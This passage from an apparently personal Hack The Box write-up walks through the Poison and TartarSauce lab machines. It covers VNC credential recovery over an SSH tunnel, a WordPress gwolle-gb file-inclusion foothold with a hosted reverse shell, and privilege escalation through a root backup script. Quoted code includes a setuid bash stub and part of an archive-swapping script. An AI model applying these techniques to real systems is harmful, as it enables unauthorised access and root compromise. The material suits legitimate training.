shell.&lt;/p&gt;&#10;&lt;p&gt;But that user&amp;rsquo;s privileges seemed too limited.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0066.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0067.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s log in directly here.&lt;/p&gt;&#10;&lt;p&gt;I went through everything and saw something interesting: the user&amp;rsquo;s shell was cshell. There was also a secret.zip file that required a password.&lt;/p&gt;&#10;&lt;p&gt;Transfer it to kali with nc and run john against rockyou.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0068.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0069.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It did not crack the password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0070.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It turned out that the password was simply the login password: Charix!2#4%6&amp;amp;8(0&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0071.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing in it. I did not understand what it was, but I could confirm that it was a binary file.&lt;/p&gt;&#10;&lt;p&gt;Upload the scripts and start collecting interesting findings.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0072.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Scheduled task: root runs /usr/libexec/atrun once every 5 minutes.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0073.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing in this configuration file either.&lt;/p&gt;&#10;&lt;p&gt;At this point I found that there were no conventional privilege-escalation paths at all, so I checked the kernel.&lt;/p&gt;&#10;&lt;p&gt;The kernel did not have any useful vulnerabilities either.&lt;/p&gt;&#10;&lt;p&gt;I could only read write-ups. Every one I checked used vnc for privilege escalation. Once I knew the entry point, I started exploring.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0074.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0075.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0076.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;vnc was indeed running, but why exploit vnc? My understanding was that there must be some vnc credentials to find. vnc was currently hosted locally, so port forwarding was required.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0077.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Disabling the firewall did not help because it was bound to 127.0.0.1.&lt;/p&gt;&#10;&lt;p&gt;Since ssh was accessible, use ssh directly for the forwarding.&lt;/p&gt;&#10;&lt;p&gt;ssh tunnel: &lt;a class="link" href="https://wangdoc.com/ssh/port-forwarding" target="_blank" rel="noopener"&#10; &gt;https://wangdoc.com/ssh/port-forwarding&lt;/a&gt;, &lt;a class="link" href="https://harttle.land/2022/05/02/ssh-port-forwarding.html" target="_blank" rel="noopener"&#10; &gt;https://harttle.land/2022/05/02/ssh-port-forwarding.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;ssh -L 8081:localhost:5901 &lt;a class="link" href="mailto:charix@10.10.10.84" &gt;charix@10.10.10.84&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;After setting up the tunnel, use the file extracted earlier.&lt;/p&gt;&#10;&lt;p&gt;vncviewer -passwd secret 127.0.0.1:5901&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0078.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was the vnc password file.&lt;/p&gt;&#10;&lt;p&gt;It can also be decrypted with &lt;a class="link" href="https://github.com/jeroennijhof/vncpwd" target="_blank" rel="noopener"&#10; &gt;https://github.com/jeroennijhof/vncpwd&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0079.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That completes it. The later machines get increasingly difficult, so the main goal is to learn the approach. Port forwarding does not have to use ssh; ssh is simply very convenient.&lt;/p&gt;&#10;&lt;p&gt;Looking back at a write-up, I also found something I had missed: a phpinfo race condition.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/vulhub/vulhub/tree/master/php/inclusion" target="_blank" rel="noopener"&#10; &gt;https://github.com/vulhub/vulhub/tree/master/php/inclusion&lt;/a&gt;&lt;/p&gt;&#10;&lt;h2 id="7tartarsauce"&gt;&lt;a href="#7tartarsauce" class="header-anchor"&gt;&lt;/a&gt;7.TartarSauce&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;Only port 80 was open, so I will not include an image.&lt;/p&gt;&#10;&lt;p&gt;I am filling this in later, so some of the configuration may look a little strange.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0080.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing on this page. Later, robots and directory brute-forcing revealed several locations.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="http://10.10.10.88/webservices/monstra-3.0.4/admin/i" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.88/webservices/monstra-3.0.4/admin/&lt;/a&gt; weak credentials admin/admin&lt;/p&gt;&#10;&lt;p&gt;However, it prevented files from being modified, so no files could be uploaded. None of the exp I found worked. I wasted a great deal of time here before realizing it was a Rabbit Hole.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0081.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I checked gobuster and found another directory mentioned in a write-up.&lt;/p&gt;&#10;&lt;p&gt;This was wordpress. I found a wpadmin user, but could not crack the password.&lt;/p&gt;&#10;&lt;p&gt;My notes here were sparse, but this route really did work, so I recorded it. I ran into many misconceptions while working through it and kept searching.&lt;/p&gt;&#10;&lt;p&gt;In the end, I could not make any progress through wordpress and checked a write-up. My wpscan could not find the vulnerable point at all, and neither could the nmap scripts. Only after adding threads to wpscan could it finish in 20 minutes. It was far too slow. Moving on.&lt;/p&gt;&#10;&lt;p&gt;At this point I was completely stuck and had no choice but to check the next step in a write-up. The key was that the gwolle-gb plugin had a remote file inclusion vulnerability that provided a foothold. In most write-ups, this was found by adding &amp;ndash;plugins-detection aggressive to wpscan for a comprehensive scan. It took 3 hours when I ran it; adding threads later reduced that to 20 minutes.&lt;/p&gt;&#10;&lt;p&gt;wpscan &amp;ndash;url &lt;a class="link" href="http://10.10.10.88:80/webservices/wp" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.88:80/webservices/wp&lt;/a&gt; -e ap &amp;ndash;plugins-detection aggressive -t 50&lt;/p&gt;&#10;&lt;p&gt;nmap&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://nmap.org/nsedoc/scripts/http-wordpress-enum.html" target="_blank" rel="noopener"&#10; &gt;https://nmap.org/nsedoc/scripts/http-wordpress-enum.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://nosec.org/home/detail/2844.html" target="_blank" rel="noopener"&#10; &gt;https://nosec.org/home/detail/2844.html&lt;/a&gt;&#9;#collect plugins&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0082.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This also returned results. Check the plugins one by one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0083.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Found the key point and completed the attack chain. Next, find an exp.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0084.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just concatenate the path and host a reverse-shell script.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0085.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0086.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;According to the description and what I encountered myself, the URL appends wp-load.php to the end.&lt;/p&gt;&#10;&lt;p&gt;Just construct the filename.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0087.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0088.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0089.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Start privilege escalation by gathering information.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0090.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0091.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0092.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0093.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0094.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0095.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After some basic collection, the information strongly suggested using sudo tar to pivot to onuma.&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s try it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0096.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0097.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Create a tty.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0098.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0099.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Run the script again to gather information.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0100.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0101.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0102.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0103.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I used find on the .nano history but found nothing.&lt;/p&gt;&#10;&lt;p&gt;Based on the mysql history, I tried connecting to the database, but unfortunately the connection failed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0104.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;However, pspy helped me find something interesting.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0105.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was exactly the same as the entry in the mysql history.&lt;/p&gt;&#10;&lt;p&gt;I looked it up.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0106.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Clearly, all of the entries above were scheduled tasks, but my permissions were insufficient, so they were not shown to me.&lt;/p&gt;&#10;&lt;p&gt;(After finishing and reading a write-up, I learned that locate can show how often it runs. find can as well, of course, but I did not think of it at the time. At least the direction was correct.)&lt;/p&gt;&#10;&lt;p&gt;The assigned permissions prevented me from finding it. Let&amp;rsquo;s inspect its contents.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0107.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I read through all of it. Every variable was hard-coded and could not be substituted.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0108.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;In other words, it moves this backup file into the directory in the $tmpfile variable with root privileges. We need to forge the archive at $tmpfile.&lt;/p&gt;&#10;&lt;p&gt;There is no race-condition issue because it waits for 30 seconds.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0109.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;According to the variable description, it needs to compare:&lt;/p&gt;&#10;&lt;p&gt;/var/www/html&lt;/p&gt;&#10;&lt;p&gt;/var/tmp/var/www/html&lt;/p&gt;&#10;&lt;p&gt;If they differ it returns 1 and reports an error; if they match it returns 0.&lt;/p&gt;&#10;&lt;p&gt;What we need to do is actually very simple.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0110.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0111.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;tmp can be changed freely. Write a file and replace the archived tmp file; the tmpfile variable is /var/tmp.&lt;/p&gt;&#10;&lt;p&gt;There are many files below it. Watch the processes with pspy and replace the file as soon as it runs.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0112.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Write the bash script. If everything is correct, granting it execute permissions and running it will launch a reverse shell. Writing su root may also work.&lt;/p&gt;&#10;&lt;p&gt;Package it as a file. Based on the basedir directory structure, it should contain /var/www/html.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0113.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Package it as 111.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0114.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0115.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Replace it as soon as it appears. It successfully triggers check.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0116.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But the permissions on 1.sh were still onuma&amp;rsquo;s, and after extraction it became a binary file. Everything was gone.&lt;/p&gt;&#10;&lt;p&gt;There were major problems with this step. First, the contents were corrupted into binary gibberish, and second, the permissions were wrong.&lt;/p&gt;&#10;&lt;p&gt;linux has a useful behavior: if I set its permissions on kali, package it, and send it to the target, it retains the permissions from kali when extracted on the target.&lt;/p&gt;&#10;&lt;p&gt;So I packaged a bash file with rwsr-sr-x permissions and uploaded it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0117.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The permissions were correct on the target, but execution still failed. After looking it up, I learned that:&lt;/p&gt;&#10;&lt;p&gt;On Unix/Linux systems, SUID (set user ID) may behave differently for binary executables and scripts. Many modern Linux distributions place additional security restrictions on SUID scripts to prevent potential security risks. This means that even with SUID set, a script may still fail to execute as expected and instead run as an ordinary user.&lt;/p&gt;&#10;&lt;p&gt;Sometimes suid or sudo can be used directly for privilege escalation, but that clearly did not work here.&lt;/p&gt;&#10;&lt;p&gt;So sudo was still required to execute it. In other words, a binary can work without sudo, but a bash script like this still needs sudo.&lt;/p&gt;&#10;&lt;p&gt;I had to upload a binary file here.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;```c&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#include &amp;amp;lt;unistd.h&amp;amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;void main() {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;execl(&amp;#34;/bin/bash&amp;#34;, &amp;#34;bash&amp;#34;, &amp;#34;-p&amp;#34;, NULL);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;```text&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The target machine was 32-bit.&lt;/p&gt;&#10;&lt;p&gt;gcc 1.c -o 1 -m32&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0118.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Package it and upload it to the target machine.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0119.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It still reported an error. This was getting ridiculous.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0120.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;gcc -static -m32 -o 1 1.c&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0121.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That finally completed it. Interestingly, I saw a write-up with a very good approach.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;span class="lnt"&gt;41&#10;&lt;/span&gt;&lt;span class="lnt"&gt;42&#10;&lt;/span&gt;&lt;span class="lnt"&gt;43&#10;&lt;/span&gt;&lt;span class="lnt"&gt;44&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#!/bin/bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# work out of shm&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cd /dev/shm&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# set both start and cur equal to any backup file if it&amp;#39;s there&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;start=$(find /var/tmp -maxdepth 1 -type f -name &amp;#34;.*&amp;#34;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cur=$(find /var/tmp -maxdepth 1 -type f -name &amp;#34;.*&amp;#34;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# loop until there&amp;#39;s a change in cur&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;Waiting for archive filename to change...&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;while [ &amp;#34;$start&amp;#34; == &amp;#34;$cur&amp;#34; -o &amp;#34;$cur&amp;#34; == &amp;#34;&amp;#34; ] ; do&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; sleep 10;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; cur=$(find /var/tmp -maxdepth 1 -type f -name &amp;#34;.*&amp;#34;);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;done&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Grab a copy of the archive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;File changed... copying here&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cp $cur .&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# get filename&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fn=$(echo $cur | cut -d&amp;#39;/&amp;#39; -f4)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# extract archive&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tar -zxf $fn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# remove robots.txt and replace it with link to root.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rm var/www/html/robots.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ln -s /root/root.txt var/www/html/robots.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span 